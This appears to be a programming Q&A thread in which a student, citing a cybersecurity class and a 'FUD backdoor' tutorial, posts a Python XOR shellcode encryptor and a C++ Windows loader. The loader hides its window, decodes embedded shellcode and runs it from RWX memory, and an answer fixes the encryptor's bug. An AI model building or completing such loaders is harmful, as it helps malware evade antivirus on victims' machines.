The XOR encryption I found using python does not work and I need it to encrypt a file then I need the loader to decrypt and run the file

I am working on a project for my college cybersecurity class on penetration testing. I have found a site (https://macrosec.tech/index.php/2020/09/20/creating-a-fud-backdoor/) that has python code for an xor encryptor as well as c++ code for a loader. The python code is meant to be run in the command line taking an input file and specifying an output file. For example, you would run the code by running python xor_file.py sample.txt > output_file.txt. However, when I run the code it doesn't work. I am very inexperienced with encryption and python so any help would be greatly appreciated. The code is below. `

import sys
KEY = 'x'
def xor(data, key):

    key = str(key)

    l = len(key)

    output_str = ''

    for i in range(len(data)):

        current = data[i]

        current_key = key[i % len(key)]

        output_str += chr(ord(current) ^ ord(current_key))
    return output_str

def printCiphertext(ciphertext):
    print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")
try:
    plaintext = open(sys.argv[1], 'rb').read()
except:
    print('File argument needed! %s ' % sys.argv[0])

    sys.exit()

ciphertext = xor(plaintext, KEY)
print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")

The loader code is as follows:

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {

    ShowWindow(GetConsoleWindow(), SW_HIDE);

    char b[] = {/* your XORd, with key of ‘x’, shellcode goes here i.e. 0x4C,0x4F, 0x4C */};

    char c[sizeof b];

    for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ ‘x’;}

    void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, c, sizeof c);

    ((void(*)())exec)();

}

I have messed around with it a bit but every time I fix an error a new one replaces it.

When I run the python code you included using Python 3.11, I get the following error:

Traceback (most recent call last):
  File "/Users/jacksonmcafee/xor_file.py", line 29, in <module>
    ciphertext = xor(plaintext, KEY)
                 ^^^^^^^^^^^^^^^^^^^
  File "/Users/jacksonmcafee/xor_file.py", line 17, in xor
    output_str += chr(ord(current) ^ ord(current_key))
                      ^^^^^^^^^^^^
TypeError: ord() expected string of length 1, but int found

You open the file and read it in as binary data.

In this case, the call to ord(current) is redundant, because current is already an integer value after current = data[i]. See this link for more information.

If you remove ord() around current, the code runs.